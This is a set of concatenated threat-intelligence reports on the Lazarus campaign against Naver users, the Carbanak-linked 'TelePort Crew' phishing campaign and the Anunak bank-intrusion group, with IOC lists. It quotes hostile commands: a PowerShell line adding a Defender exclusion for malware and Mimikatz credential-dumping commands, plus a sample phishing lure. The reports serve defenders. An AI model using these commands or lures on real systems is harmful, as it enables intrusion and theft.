The code responsible for extracting, dropping and executing the binary is present inside 1hh.html as shown below.
Figure 6: HTML code dropping and executing the binary [] Stage 2: Dropper The dropper on execution performs the following operations: 1.
Detects sleep patching to identify controlled execution environment such as Sandbox execution 2.
Checks the name of all the running processes and terminates if it finds a process running with the name v3l4sp.exe.
This process name corresponds to the security software developed by Ahnlab (a popular and frequently used security vendor in South Korea).
3.
Creates file in the path C:\ProgramData\Intel\IntelRST.exe 4.
XOR decodes the embedded PE from a hardcoded address 5.
Writes the decoded PE to the file created in Step-3 6.
Modifies PEB to masquerade itself as explorer.exe 7.
Executes IntelRST.exe 8.
Creates RUN registry entry for persistence https://twitter.com/ESETresearch/status/1458438155149922312 https://blog.google/threat-analysis-group/update-campaign-targeting-security-researchers/ https://www.zscaler.com/cdn-cgi/image/formatauto/sites/default/files/images/blogs/Lazarus-SK-Naver/CHM.png 5/11 Value: IntelCUI Data: C:\ProgramData\Intel\IntelRST.exe [] Stage 3: Dropped binary The file IntelRST.exe dropped by the Stage-2 dropper is an ASpacked binary.
On execution it performs the following operations: 1.
Similar to the dropper binary it tries to detect sleep patching to identify controlled execution environment 2.
Collects machine information and stores using the specified format which is later exfiltrated and used as machine identifier.
String format: [decoded_string]_[username]_[volume_serial_number_post_8_bytes] decoded_string: (encoded string)  (key) [encoded_string_byte_offsetkeySize] username: GetUserName() volume_serial _number: Using DeviceIoControl with IOCTL_STORAGE_QUERY_PROPERTY (0x2d1400) 3.
Checks name of all the running processes and terminates if there is some process running with the name v3l4sp.exe or AYAgent.aye or IntelRST.exe 4.
If running with administrator privileges then it executes a PowerShell command using cmd.exe to add WindowsDefender exclusion.
PowerShell command: Powershell -Command Add-MpPreference -ExclusionPath C:\ProgramData\Intel\IntelRST.exe 5.
Finally it starts the network communication [] Network communication The network communication occurs in the following sequence: 1.
Send a GET request to the URL https://dl.dropboxusercontent.com/s/k288s9tu2o53v41/zs_url.txt?dl0.
2.
Query the file size and send another network request to read the file content.
6/11 Note: The file content points to the C2 domain to be used for rest of the network communication.
3.
Using the extracted C2 domain, send a POST request to the path /post.php and exfiltrate collected user information.
Exfiltrated user information format: uidstring_generated_in_Step-2_of_Stage- 3_binaryavtypedmajorvdminorvd 4.
Finally send a GET request to the path /decoded_string_from_step-2_of_Stage- 3_binary/formated_string_from_step-2_of_Stage-3_binary/fecommand.acm Note: At the time of analysis we didnt get any active response from the C2 server for the above network request.
Zscaler Cloud Sandbox detection Document detection Dropper detection Indicators of compromise [] Hashes MD5 Description 37505b6ff02a679e70885ccd60c13f3b c156572dd81c3b0072f62484e90e47a0 Document d7f6b09775b8d90d79404eda715461b7 a0f565f7f579f0d397a42db5a95d4ae8 e2e5644e77e75e422bde075f409d882e 37b7415442ab8ca01e08b2d7bfe809e2 d19dd02cf375d0d03f557556d5207061 e3ffda448df223b240a20dae41e20cef Document (Template based) https://www.zscaler.com/cdn-cgi/image/formatauto/sites/default/files/images/blogs/Lazarus-SK-Naver/Document20Detection.png https://www.zscaler.com/cdn-cgi/image/formatauto/sites/default/files/images/blogs/Lazarus-SK-Naver/Binary20Detection.png 7/11 e732bc87033a935bd2d3d56c7772641b 825730d9dd22dbae7f2bd89131466415 c32f40f304777df7cfab428a54bb818b b587851d8a42fc8c23f638bbc2eb866b 4382384feb5ad6b574f68e431006905e 493f59b6933e59029bf3106fd4a2998d bdfb5071f5374f5c0a3714464b1fa5e6 1769a818548a0b52c7be2a0a213a9384 7b07cd6bb6b5d4ed6a2892a738fe892b 9775ef6514916977d73e39a6b09029bc 44be20c67a80af8066f9401c5bee43cb 15a7125fe9e629122e1d1389062af712 1fd8fef169bf48cfdcf506151264128c 9ad00e513364e9f44f1b6712907cba9b 1a536709554860fcc2c147374556205d a2aca7b66f678b85fc7b4015af21c5ee bd416ea51f94d815b5b5b66861cbdcc5 ecb2d07ede5a401c83a5fca8e00fa37a db0483aced77a7db130a6100aef67967 c0b24dc8f53227ce0c64439b302ca930 bb9ee3a6504fbf6a5486af04dbbb5da5 ce00749c908de017010055a83ac0654f 2677f9871cb340750e582cb677d40e81 8/11 90f2b7845c203035f0d7096aa28dda83 044e701e8d288075b0fb6cd118aa94db 556abc167348fe96abfbf5079c3ad488 0ef32b48f6ca3a1a22ab87058b3d8aa0 4548c7f157d300ec39b1821db4daa970 430d944786e05042cdbe1d795ded2199 96d86472ff283f6959b7a779f004dfba 137910039cb94c0301154f3d1ec9ba29 728b908e90930c73edeb1bf58b6a3a64 1559aeb8e464759247e4588cb6a09877 6df608342938f0d30a058c48bb9d8d4d 78aa7e785a96f2826ee09a1aa9ab776e 0c2dde41d508941cf215fe8f1f7e03a7 783e7c3ba39daa28301b841785794d76 a225b7aff737dea737cd969fb307df23 Template 210db61d1b11c1d233fd8a0645946074 e25ac08833416b8c7191639b60edfa21 114f22f3dd6928bed5c779fa918a8f11 Compiled HTML (CHM) [] File names Original Name Translated Name 9/11  (50).chm _1900002.chm NFT Metakongz Minting.chm 202204__ .docx .docx 400 .docx 40_.docx .docx ().docx _.docx Guide to confirmed cases and living with them (50).chm Meta Kongs Guide_190002.chm NFT Metakongz Minting.chm 202204_Cryptocurrency_Investment Planning.docx incident report.docx Masanhappo-gu 40 billion loan request.docx 4 billion_fund investment contract.docx Emergency Disaster Subsidy Application Form.docx Daehan Mine Development Co., Ltd. docx cryptos_login.docx [] C2 domains naveicoipg[.
]online naveicoipf[.
]online naveicoipc[.
]tech naveicoipa[.
]tech naveicoipe[.
]tech naveicoipd[.
]tech naveicoipep[.
]tech naveicoiph[.
]online naveicoipg[.
]tech naveicoipf[.
]tech naveicoipb[.
]tech naveicoipj[.
]online naveicoipi[.
]online naveicoipe[.
]online naveicoipd[.
]online naveicoipc[.
]online naveicoipb[.
]online naveicoipa[.
]online naveicoipc[.
]com naveicoipa[.
]com naveicoip[.
]com 10/11 naveicoiph[.
]tech naveicoip[.
]tech naveicorp[.
]com copycatfrag[.
]store knightsfrag[.
]store parfumeparlour[.
]store New domain resolutions for the IP 23.81.246[.
]131 navernidb[.
]link navermailteam[.
]online navermailservice[.
]com mailservicecorp[.
]online mailhelp[.
]online mailcustomerservice[.
]site cloudcentre[.
]xyz naverservice[.
]host mailserviceteam[.
]email navermcorp[.
]com naverserviceteam[.
]com naversecurityteam[.
]com navermanageteam[.
]com navermailmanage[.
]com navercorpservice[.
]com navermailcorp[.
]com naversecurityservice[.
]online navermailservice[.
]online navercorp[.
]live navercscorp[.
]com navermanage[.
]live navermanage[.
]com navernidmail[.
]com noreplya[.
]xyz [] Emails Dropbox accounts associated email addresses peterstewart0326gmail[.
]com kimkl0222hotmail[.
]com laris081007hotmail[.
]com [] PDB path 11/11 D:\Works\PC_2022\ACKS_2012\fengine\Release\fengine.pdb
[tr1adx]: Intel tr1adx.net/intel/TIB-00002.html tr1adx Intelligence Bulletin (TIB) 00002: The Digital Plagiarist Campaign: TelePorting the Carbanak Crew to a New Dimension [January 1, 2017] Summary Over the past few months, the tr1adx team has been tracking a Threat Actor which we codenamed TelePort Crew.
We believe the TelePort Crew Threat Actor is operating out of Russia or Eastern Europe with the groups major motivations appearing to be financial in nature through cybercrime and/or corporate espionage.
We have dubbed the groups latest campaign Digital Plagiarist for its signature practice of mirroring legitimate sites (using Tenmaxs TelePort Pro and TelePort Ultra site mirroring software) onto similarly named domains, on which the TelePort Crew would host and serve up malware laden Office documents.
The Threat Actor would then craft specific spear phishing emails to direct their targets to visit the malicious web sites and open the malware laden documents.
Corerrelation of the TelePort Crews TTPs and infrastructure leads us to believe the group is closely affiliated with, and may in fact be, the Carbanak Threat Actor.
At this time, we are able to disclose that we have seen activity associated with the Digital Plagiarist campaign in the following countries: Australia United Kingdom United States Ireland Switzerland Bahamas Focused Industries for the Digital Plagiarist campaign include: Hospitality Restaurant Chains Food Production Nutritional Supplements Agriculture / BioTechnology Marketing / Public Relations Manufacturing Logistics Software Development (including Point-of-Sale solutions) Utilities  Electric Government Analysis Activity attributed to the Digital Plagiarist campaign first came on tr1adxs radar in the fall of 2016, when the TelePort Crew threat actor was seen registering a number of domain names which raised flags due to the suspicious nature of the domain names, attributes associated with the domain registration, and content served on these domains.
Further research indicates that the Digital Plagiarist campaign has been active since at least July 2016, and possibly earlier, with very rapid turn around times between the provisioning of attack/C2 infrastructure and execution of the actual attacks.
Based on our observations, we believe the TelePort Crew threat actor has performed considerable research on their targets, including mapping out business/customer relationships between the targets as well as understanding other geographic and target trust specific attributes often seen in cases of watering hole attacks.
Overview of Attack Methodology and TTPs Domain Registration The TelePort Crew would start off by registering domain names, which closely resemble those of legitimate web sites.
These web sites would be designed to either mimic the groups intended target, or a third party trusted by the intended target.
The majority of these domain registrations appear to use a single registrar, PDR Ltd. d/b/a PublicDomainRegistry.com, and in some cases the Threat Actor would recycle the same Registrant Information.
We also noted a number of specific differentiators when it comes to comparing the Registrant Information and the types of malicious websites that were used.
The following table summarizes some of the more interesting domains we have seen the TelePort Crew threat actor register as part of the Digital Plagiarist campaign.
While some of these domains are used for malware delivery, others are used for email domain spoofing, and C2 communications.
A full list of (disclosable) domains suspected to be associated with the TelePort Crews Digital Plagiarist campaign is provided in the Indicators of Compromise section: Domain Creation Date Registrant Registrar Org Mimicked Org Country Domain Mimicked Industry microfocus-official[.
]com 2016- 10-28 Andrey Arseniev PDR Ltd. d/b/a Micro Focus International United Kingdom microfocus.com Software Development perrigointernational[.
]com 2016- Andrey PDR Ltd. Perrigo United perrigo.com Healthcare 1/4 https://www.tr1adx.net/intel/TIB-00002.html http://www.tenmax.com/pro.html http://www.tenmax.com/teleport/ultra/home.htm https://en.wikipedia.org/wiki/Watering_hole_attack perrigointernational[.
]com 2016- 10-28 Andrey Arseniev PDR Ltd. d/b/a Perrigo Company plc United States perrigo.com Healthcare ornuafood[.
]com 2016- 10-28 Andrey Arseniev PDR Ltd. d/b/a Ornua Food Ireland ornua.com Food Production esb-energy-int[.
]com 2016- 10-27 Dresde Nore PDR Ltd. d/b/a Electricity Supply Board Ireland esb.ie Utilities  Electric fda-gov[.
]com 2016- 12-09 Smolin Sergei PDR Ltd. d/b/a US Food and Drug Administration (FDA) United States fda.gov Government treasury- government[.
]com 2016- 12-09 Smolin Sergei PDR Ltd. d/b/a US Department of the Treasury United States treasury.gov Government bentley-systems-ltd[.
]com 2016- 10-27 Dresde Nore PDR Ltd. d/b/a Bentley Systems United States bentley.com Software Development zynga-ltd[.
]com 2016- 10-27 Dresde Nore PDR Ltd. d/b/a Zynga United States zynga.com Software Development syngenta-usa[.
]com () 2016- 10-27 Dresde Nore PDR Ltd. d/b/a Syngenta Switzerland syngenta-us.com Agriculture/BioTech ai0ha[.
]com 2016- 11-29 Garry Torp PDR Ltd. d/b/a Aloha, Inc. United States aloha.com Nutritional Supplements iris-woridwide[.
]com 2016- 11-29 Garry Torp PDR Ltd. d/b/a iris Worldwide United Kingdom iris-worldwide.com Marketing/Public Relations strideindustrialusa[.
]com 2015- 12-21 Andrew Zavok PDR Ltd. d/b/a Stride Industrial Group Ltd United Kingdom strideindustrialgroup.com Manufacturing waldorfs-astoria[.
]com 2016- 12-11 Fred Hesl PDR Ltd. d/b/a Waldorf- Astoria United States waldorf-astoria.com Hospitality atlantis-bahamas[.
]com 2016- 12-11 Fred Hesl PDR Ltd. d/b/a Atlantis Bahamas Bahamas atlantisbahamas.com Hospitality sizzier[.
]com 2016- 12-01 Egor Danilkin PDR Ltd. d/b/a Sizzler Family Restaurants United States sizzler.com Restaurant Chain taskretaiitechnology[.
]com 2016- 12-01 Egor Danilkin PDR Ltd. d/b/a Task Retail Technology Australia taskretailtechnology.com Software Development dhl-service-au[.
]com 2016- 09-27 Remin Vladmiri PDR Ltd. d/b/a DHL Australia Australia dhl.com.au Logistics prsnewwire[.
]com 2016- 08-30 Remin Vladmiri PDR Ltd. d/b/a PR Newswire United States prnewswire.com Marketing/Public Relations () Legitimate organization reclaimed the mimicked/spoofed domain.
Once the malicious domain had been registered, the group would point it to one of the following IP addresses: Domain Mirroring The Threat Actor would then use the TelePort Pro or TelePort Ultra software to mirror the content of the legitimate organizations web site to the newly registered domain.
While in the majority of cases the TelePort Pro software would flawlessly mirror the web sites, if the web page contains links to external pages which are outside the scope of the TelePort site mirroring configuration, the software will rewrite some of the links in the mirrored HTML files as follows: Traces of TelePort Ultra seen on irisworidwide[.
]com domain: lia hrefjavascript:if(confirm(27https://twitter.com/irisworldwide \n\nThis file was not retrieved by Teleport Ultra, because it is addressed on a domain or path outside the boundaries set for its Starting Address.
\n\nDo you want to open it from the server?
27))window.location27https://twitter.com/irisworldwide27 tppabshttps://twitter.com/irisworldwide target_blankimg srcicon-twitter.png tppabshttp://www.iris-worldwide.com/media/1239/icon-twitter.png altTwitter/a/li Traces of TelePort Pro seen on prsnewwire[.
]com domain: a hrefjavascript:if(confirm(27http://www.omniture.com/ \n\nThis file was not retrieved by Teleport Pro, because it is addressed on a domain or path outside the boundaries set for its Starting Address.
\n\nDo you want to open it from the server?
27))window.location27http://www.omniture.com/27 tppabshttp://www.omniture.com/ titleWeb Analytics Malware Delivery 2/4 Malware Delivery We were able to identify and confirm at least two separate instances where above domains were used to serve up malicious Office documents: The malware document order.docx is a stage 1 binary which, when opened by the end user, will download a stage 2 binary through the embedded macros in the malicious Office document.
TrustWave recently did a great write up entitled New Carbanak / Anunak Attack Methodology , which provides additional details regarding the malware used in that campaign, as well as an overview of C2 communications and actor TTPs.
Based on correlation of TTPs and infrastructure, we are fairly confident that the TelePort Crew is closely affiliated with, or is in fact the Carbanak Threat Actor.
We also believe the Digital Plagiarist campaign is associated with, or an evolution of, the campaign described in the recent TrustWave report.
Once the domains were properly mirrored and outfitted with malware, the TelePort Crew would craft spearphishing emails to their targets in order to lure them to download and open malicious Office documents hosted on one of the above domains.
We have been able to observe at least one reported instance of such a spearphishing email related to the Digital Plagiarist campaign.
barry_frithshoneys.com - mailto:sizzier_companyyahoo.com From: barry_frithshoneys.com Sent: Wednesday, December 14, 2016 10:33 AM To: R_bgt, Briargate 0186 Subject: catering Hello, My name is George Thon and Im an Project Manager with Sizzier Ltd. We have composed a list of services we require and interested in.
Enclosed link contains all catering informatiom - http://www.sizzier.com/docs/order.docx Click on edit anyway at the top of the page and than double click to unlock content Sincerely, George Thon Sizzier Ltd. Campaign and Infrastructure Clean Up At the time of this writing, at least one of the malicious documents is still being served on one of the above listed domains.
While all of the above listed domains are still active, only a few are still serving up mirrored content.
When we started investigating this threat actor a few months ago, we were able to observe that almost all of the above listed domains were, at one time, serving up mirrored page content.
Based on all elements of our research, we believe the TelePort Crew threat actor will remove malicious and non-malicious content once successful execution of the malware on the target has been achieved.
At the same time, our analysis leads us to suggest that the TelePort Crew may also delete or rename malicious content when the Threat Actor believes their operation has been compromised.
Targeted Industry / Organizations Interrelations As we started investigating the Teleport Crew threat actor and the Digital Plagiarist campaign, it became apparent fairly quickly that the group has spent a considerable effort in understanding and mapping out affinities and business/customer relationships between their targets and the domains they would register.
A good example of that is the relationship between Sizzler Family Restaurants (TelePort Crew registered sizzier[.
]com) and Task Retail Technology (TelePort Crew registered taskretaiitechnology[.
]com): Sizzler Family Restaurants is a restaurant chain operating in the United States and abroad (including Australia).
Task Retail Technology is a software development company based in Australia, who develop the xchangexec Enterprise Point-of-Sale (POS) software.
The Task Retail Technology web site lists Sizzler as one of their customers.
Another, yet less obvious example, is that of the relationship between Perrigo (TelePort Crew registered perrigointernational[.
]com) and Syngenta (TelePort Crew registered syngenta-usa[.
]com): Perrigo is a US based Pharmaceutical Company.
Syngenta is a Swiss Agribusiness/BioTech firm, with offices in the United States.
Based on multiple news reports [1] [2] [3] [4], both firms have seen similar investor profiles and were also both linked to Merger  Acquisition activity over the past year.
In a potentially more sinister, and entirely speculative twist, there may be a relationship between TrustWave and iris Worldwide Marketing (TelePort Crew registered iris-woridwide[.
]com): iris Worldwide is marketing company responsible for marketing of some of the worlds biggest brands.
TrustWave is a security company who recently published an article regarding the Carbanak / Anunak Threat Actor and their new Attack Methodology.
Apparently, iris Worlwide was responsible for a marketing campaign around TrustWaves Global Security Report.
Attribution The tr1adx team initially started tracking this Threat Actor under the codename TelePort Crew as a result of some of their TTPs.
As we were delving deeper into the groups activities, we were seeing increasing overlap with TTPs and infrastructure associated with the Carbanak / Anunak threat actor, which was confirmed as we compared notes with the information in the TrustWave article, entitled New Carbanak / Anunak Attack Methodology , published in November 2016.
3/4 https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Carbanak-/-Anunak-Attack-Methodology/ https://www.virustotal.com/en/file/c9f3e017b921c3d90127b25ef2f0c770a7fcbb429177284115ad18569ba4a441/analysis/ http://www.taskretailtechnology.com/software http://www.taskretailtechnology.com/our-work/sizzler http://www.insidermonkey.com/blog/why-are-investors-piling-into-these-four-stocks-383983/ http://www.law360.com/articles/726066/deals-rumor-mill-postal-savings-bank-t-mobile-syngenta https://www.bisnow.com/national/news/commercial-real-estate/ma-537923 https://www.bisnow.com/national/news/commercial-real-estate/ma-537927 https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Carbanak-/-Anunak-Attack-Methodology/ http://www.iris-worldwide.com/work/trustwave-global-security-report/ https://www.trustwave.com/Resources/SpiderLabs-Blog/New-Carbanak-/-Anunak-Attack-Methodology/ Several elements strongly suggest TelePort Crew and Carbanak/Anunak may be one and the same threat actor: tr1adxs investigation, as well as the TrustWave investigation, point to a single IP address where the registered domains were hosted (192.99.14.211) tr1adxs investigation revealed that two domains we had been tracking (dhl-service-au[.
]com and prsnewwire[.
]com) were registered by a Registrant Name purporting to be Remin Vladmiri.
The same individual also registered park-travels[.
]com, which has been associated with the Carbanak/Anunak threat actor.
The malware used in the Digital Plagiarist campaign appears to closely resemble that attributed to the Carbanak/Anunak threat actor, in terms of malware delivery, malware URL path, and behavior.
Disclaimer The tr1adx team believes it is important to note that while we have seen this threat actor register domains similar in nature to domains belonging to legitimate organizations, we are in no way suggesting that these legitimate organizations or its customers were a direct target for the TelePort Crew threat actor.
We do believe the group has leveraged the reputation and legitimacy of these organizations to give more credit to the Digital Plagiarist campaign, in turn potentially yielding a higher rate of success for compromising the groups victims.
Indicators of Compromise Indicators of Compromise (IOCs): Domains (25) - Summary Table microfocus-official[.
]com perrigointernational[.
]com ornuafood[.
]com esb-energy-int[.
]com fda-gov[.
]com treasury-government[.
]com bentley-systems-ltd[.
]com zynga-ltd[.
]com syngenta-usa[.
]com ai0ha[.
]com iris-woridwide[.
]com strideindustrialusa[.
]com waldorfs-astoria[.
]com atlantis-bahamas[.
]com sizzier[.
]com taskretaiitechnology[.
]com dhl-service-au[.
]com prsnewwire[.
]com google-ssls[.
]com google-stel[.
]com google3-ssl[.
]com google4-ssl[.
]com ssl-googles4[.
]com google2-ssl[.
]com google5-ssl[.
]com ssl-googlesr5[.
]com bols-googls[.
]com Indicators of Compromise (IOCs): IP Addresses - Summary Table 192.99.14.211 31.41.41.41 144.76.61.231 Indicators of Compromise (IOCs): File Hashes - Summary Table order.docx MD5: 950afc52444e3b23a4923ab07c1e7d87 SHA1: 1827a7daa98c127af11318eebe23ec367f9146c9 order.docx MD5: ae8404ad422e92b1be7561c418c35fb7 SHA1: 400f02249ba29a19ad261373e6ff3488646e95fb Indicators of Compromise (IOCs) [Downloadable Files]: If a log search for any of these Indicators of Compromise returns positive hits, we recommend you initiate appropriate cyber investigative processes immediately and engage Law Enforcement where appropriate.
4/4 [tr1adx]: Intel
AnunAk: APT AgAinsT finAnciAl insTiTuTions G r o u p - I B  a n d  F o x - I T 2 Discl Aimer Hereby Group-IB and Fox-IT inform that: 1.
This report was prepared to provide infor- mation obtained as a result of Group-IB and Fox-IT research.
2.
Description of threat technical details in this Report is given only to bring the appropriate information to the attention of information se- curity specialists.
It helps to prevent informa- tion security incidents and to minimize risks by creating awareness on the trend described in this report.
The threat technical details published in this report in any case are not for the promotion of fraud and/or other illegal activities in the financial industry, high tech industry and/or other areas.
3.
The information published in this report may be used by interested parties at their discretion provided they make reference to Group-IB and Fox-IT.
execuTive summAry This report describes the details and type of op- erations carried out by an organized criminal group that focuses on financial industry, such as banks and payment providers, retail industry and news, media and PR companies.
The group has its origin in more common financial fraud including theft from con- sumer and corporate bank accounts in Europe and Russia, using standard banking malware, mainly Carberp.
After the arrests of Carberp group members in Russia, some of the members were out of work, however, their experience gained from many years of crime has allowed them to enter a new niche.
One of the members quickly realized that they can steal 2000 a thousand times, and earn 2 million, but also they can steal it in one time and immediately get it with much less effort.
The anti-fraud measures employed by banks has pushed the criminals to search for new ways to make money with less bar- riers, compromising and modifying or taking data from banks, payment providers, retail and media/ PR companies are some of these methods.
From 2013 an organized criminal group intensi- fied its activity focused on banks and electronic pay- ment systems in Russia and in the post-Soviet space.
The key is that fraud occurs within the corporate network using internal payment gateways and in- ternal banking systems.
Thus money is stolen from the banks and payment systems, and not from their customers.
While this is their main and most lucra- tive activity, the gang has also ventured into other areas including the compromise of media groups and other organizations for industrial espionage and likely a trading advantage on the stock market.
In cases where the group got access to the government agency networks their aim was espionage related.
The organized criminal group backbone are citizens of both Russian and Ukrainian origin, but the group also sources a number of mainstream and specialized services from individuals and groups originating from Russia, Ukraine and Belarus.
The average sum of theft in the Russian terri- tory and in the post-Soviet space is 2 million per incident.
Since 2013 they have successfully gained access to networks of more than 50 Russian banks and 5 payment systems, and 2 of these institutions were deprived of their banking license.
To date the total amount of theft is over 1 billion rubles (about 25 million dollars), most of it has been stolen in the second half of 2014.
The average time from the moment of penetration into the financial institutions internal network till successful theft is 42 days.
As a result of access to internal bank networks the attackers also managed to gain access to ATM management infrastructure and infect those sys- tems with their own malicious software that further allows theft from the banks ATM systems on the attackers command.
Since 2014 the organized criminal group mem- bers began actively taking an interest in US and Eu- ropean based retail organizations.
While they were already familiar with POS malware and compromis- ing POS terminals, the widespread media attention around the Target breach and other related breaches were the reason for this move.
While the scale of breaches in this industry is still relatively low, with at least 3 successful card breaches and over a dozen retailers compromised this activity is quickly becom- ing a lucrative endeavor for this group.
To penetrate into the internal networks this organized criminal group employs targeted emailing (spear phishing) and infections sources from other botnets.
This is the main reason why the group is 3 keeping in touch with owners of large botnets.
Since August 2014 the group began to create their own large botnet using a mass emailing, but not using typical exploit driveby infections.
This last move is likely to reduce the need for external contacts.
AT TAcks in russiA The first successful bank robbery was committed by this group in January 2013.
In all first cases the attackers used the program RDPdoor for remote access to the bank network and the program MBR Eraser to remove traces and to crack Windows computers and servers.
Both programs were used by the members of the Carberp criminal group under the guidance of a person named Germes.
To reduce the risk of losing access to the internal bank network the attackers, in addition to malicious programs, were also used for remote access legitimate pro- grams such as Ammy Admin and Team Viewer.
Lat- er the attackers completely abandoned from usage of RDPdoor and Team Viewer.
In addition to banking and payment systems, hackers got access to e-mail servers to control all internal communications.
This approach allowed them to find out that the anomalous activity in the bank network was identified, what technique was used to identify this activity and what measures the bank employees took to solve the problem.
Email control was successfully installed regardless of used email system, MS Exchange or Lotus.
This approach allowed them to take countermeasures that created for bank and payment system employees the feeling that the problem had been solved.
The main steps of the attack progression are the following ones: 1.
Primary infection of an ordinary employee computer.
2.
Getting a password of a user with administra- tive rights on some computers.
For example, a password of a technical support engineer.
3.
Gaining legitimate access to one server.
4.
Compromising the domain administrator password from the server.
5.
Gaining access to the domain controller and compromising of all active domain accounts.
6.
Gaining access to e-mail and workflow servers.
7.
Gaining access to server and banking system administrator workstations.
8.
Installing the software to monitor activity of interesting system operators.
Usually photo and video recording was used.
9.
Configuring remote access to servers of inter- est including firewall configuration changes.
Tools for aT Tack To carry out target attacks in 2014 the hackers have finalized development of their core malware Anunak that is used along with the following tools: Program Purpose of use Mimikatz to get passwords from local and domain accounts MBr Eraser to crack operating systems softPerfect Network scanner to scan laN cain  abel to get passwords ssHD backdoor to get passwords and remote access ammy admin for remote control Team Viewer for remote control According to our laboratory classification the main malware is Anunak.
This trojan is used for target attacks only, mainly on banks and payment systems.
Target usage of this program allows it to remain poorly explored, providing it a good surviv- ability inside corporate networks.
The source code of the bank trojan program Carberp was used in some places of this malware.
Anunak has the following feature set: The software called Mimikatz is built in this program.
This is an open source software that al- lows to obtain passwords of user accounts logged in the Windows system.
However, this software was considerably changed: while maintaining the capability to get account passwords the functions of user interaction and of information output for errors and program execution were eliminated.
Thus, when the malicious program is executed on the server, it will secretly compromise all the 4 domain and local accounts, including adminis- trator accounts.
To get account passwords it is sufficient to enter two commands in succession: privilege::debug and sekurlsa::logonpass- words.
When this program is executed on a domain controller or an e-mail server it compro- mises virtually all the domain accounts, includ- ing administrators.
There is also the possibility to add a file into the firewall exclusion list by creating the correspond- ing rule with the utility Netsh.
The functions of keypress grabber as well as the function of screenshot creation are implemented in the program.
There are also the functions to interact with the bank system iFOBS.
The malware sends key information, screenshots and CAB-archives to its management server.
The program is able to secretly make changes to a number of system files, presumably to remove the limitations of Microsoft Windows desktop operating systems on the number of users that may simultaneously connect to the correspond- ing PC using RDP to administer it remotely.
There is the ability to download arbitrary exe- cutable files from the management server and run them.
One of these files is the program AmmyAd- min that may be run with the arguments -service and -nogui that force it to start as a service without user interface.
AmmyAdmin allows to connect with another computer that has the same software through the server rl.ammyy.com using the IP address and the unique identifier.
As a result, the attacker gets remote access to the user computer with the running program AmmyAdmin bypassing firewalls.
The window screenshot is shown in the figure below: When the attackers gain access to servers running operating systems of the Linux family they use SSH backdoor that transmits to the malicious server the login/password data used to access the servers and provides attackers remote access to the servers.
To provide access to the server of interest the at- tackers may appropriately modify rules for firewalls Microsoft TMG, CISCO, etc.
When the attackers yet had no major malware that would secretly install the program AmmyAd- min and report to the attackers a remote access password, they used a malicious program known as Barus.
This malware is used rarely and the last time we met it in 2013.
This malicious program is developed by Russian-speaking authors.
In the control panel you can notice a field Ammy ID, its usage allowed the attackers to connect remotely.
5 meThoDs of mAlwAre DisTribuTion At the very beginning of their activity in 2013 due to lack of the target Trojan the attackers began to distribute Andromeda and Pony.
They distributed these malware using Driveby through a bunch of Neutrino Exploit Kit exploits as shown in the figure below.
It is interesting that in the autumn 2013 they used the site http://php.net/ as traffic source to Magnitude EK.
They redirected the traffic from this resource since July 2013, but this fact was discov- ered much later.
The name of one of the streams to distribute the malware is LOL BANK FUCKIUNG that corresponded to the attacker activities.
Parallel to this technique they also use another infection method, which was one of the principal methods.
The main method of distribution is send- ing emails with malicious attachments on behalf of the Central Bank of the Russian Federation, a poten- tial client or an real counterparty (at first the attack- ers had cracked this counterparty account, then they used emailing with the cracked contact list).
Another used method is to install a special malware to carry out targeted attacks via another malware that might appear in the local network by accident.
To find such malicious programs the criminal group keeps in touch with several owners of large botnets that massively distributes their mal- ware.
The attackers buy from these botnet owners the information about IP-addresses of computers where the botnet owners have installed malware and then check whether the IP-address belongs to the financial and government institutions.
If the mal- ware is in the subnet of interest, the attackers pay the large botnet owner for installation of their target malware.
Such partner relations were established with owners of botnets Zeus, Shiz Ranbyus.
All of these trojans are bank Trojans, their usage is ex- plained by the previously established relationships.
In late 2013 the hacker under the alias Dinhold be- gan to build his own botnet using modified Carberp, having uploaded its source code for public access.
The attackers were trying to create similar relations with this hacker, but in 2014 he was arrested, having not developed his botnet up to the required level.
To check whether the IP-address belongs to the desired network the following script is used: /usr/bin/python -- coding: utf-8 -- import os from bulkwhois.shadowserver import BulkWhoisshadow- server iplist_file  ip.txt path  os.path.dirname(os.path.abspath(__file__)) bulk_whois  BulkWhoisshadowserver() iplist  [] with open(os.path.join(path, iplist_file)) as f: for line in f: 6 iplist.append(line.strip()) result  bulk_whois.lookup_ip- s(iplist) with open(os.path.join(path, data.
txt), a) as f: for record in result: f.write(IP: s\ cc: s\ org.
Name: s\ register: s\ as Name: s\ BGP Prefix: s\ ----------------------------------------\ (result[record][ip], result[re- cord][cc], result[record][org_ name], result[record][register], result[record][as_name], result[re- cord][bgp_prefix])) The most dangerous emailings are those that are sent on behalf of partners with whom financial and government institutions communicates permanently by email.
An example of such emailing occurred on Septem- ber 25, 2014, at 14:11, from the e-mail address Elina Shchekina e.shekinarbkmoney.com with the subject Updated agree- ment version.
The attachment agreement.doc exploits the vul- nerability CVE-2012-2539 and CVE-2012-0158.
The emailing 7 was conducted for more than 70 addresses of various compa- nies (where multiple recipient addresses may be within one company).
The letter with malicious attachment (md5: AA36BA9F- 4DE5892F1DD427B7B2100B06) in the archive with a password from a potential client was sent to a bank manager after a pre- liminary telephone conversation with him.
The call origin is Saint Petersburg.
Contents of a text file named .doc (partner de- tais.doc) Company our Century, Ltd. 109387, russia, Moscow, anosov str.,
24, office 409 Tel.
(
495) 124-99-77  Fax: (495)124-99-77 Mobile (962) 7135296 E-mail: x60xnxt.
ru Inn 7329001307  Kpp 732901001 account 40702810613310001709 Branch of VTB 24 (JSC), Moscow Correspondent account 30101810700000000955 BIC 043602955 A letter on behalf of the Central Bank of Russia with a malicious attachment (md5: 8FA296EFAF87FF4D- 9179283D42372C52) exploited the vulnerability CVE-2012- 2539 in order to execute arbi- trary code.
There were also other exam- ples of emails with malicious attachments, such as emailing with the file 001.
photo.exe.
A more detailed list of such attachments you can see in the Table Email attachments.
8 ATm AT TAcks Availability of access to bank internal networks opens great opportunities for the hackers.
One of these opportunities is access to ATMs from spe- cial network segments that had to be isolated.
It is confirmed that this criminal group gained access to 52 ATMs.
The amount of damage exceeds 50 million rubles.
As a result of access to ATMs, depending on the ATM model, hackers used different patterns.
h a n g e d e n o m i n at i o n  o f w i t h d r awa l b a n k n o t e s Having access, the attackers downloaded mali- cious scripts and changed denominations of issued banknotes in the ATM operating system registry.
As a result, for query to get 10 notes with denomination of 100 roubles the attackers received 10 banknotes with denomination of 5,000 roubles.
The used malicious script and program were developed for the platform Wincor.
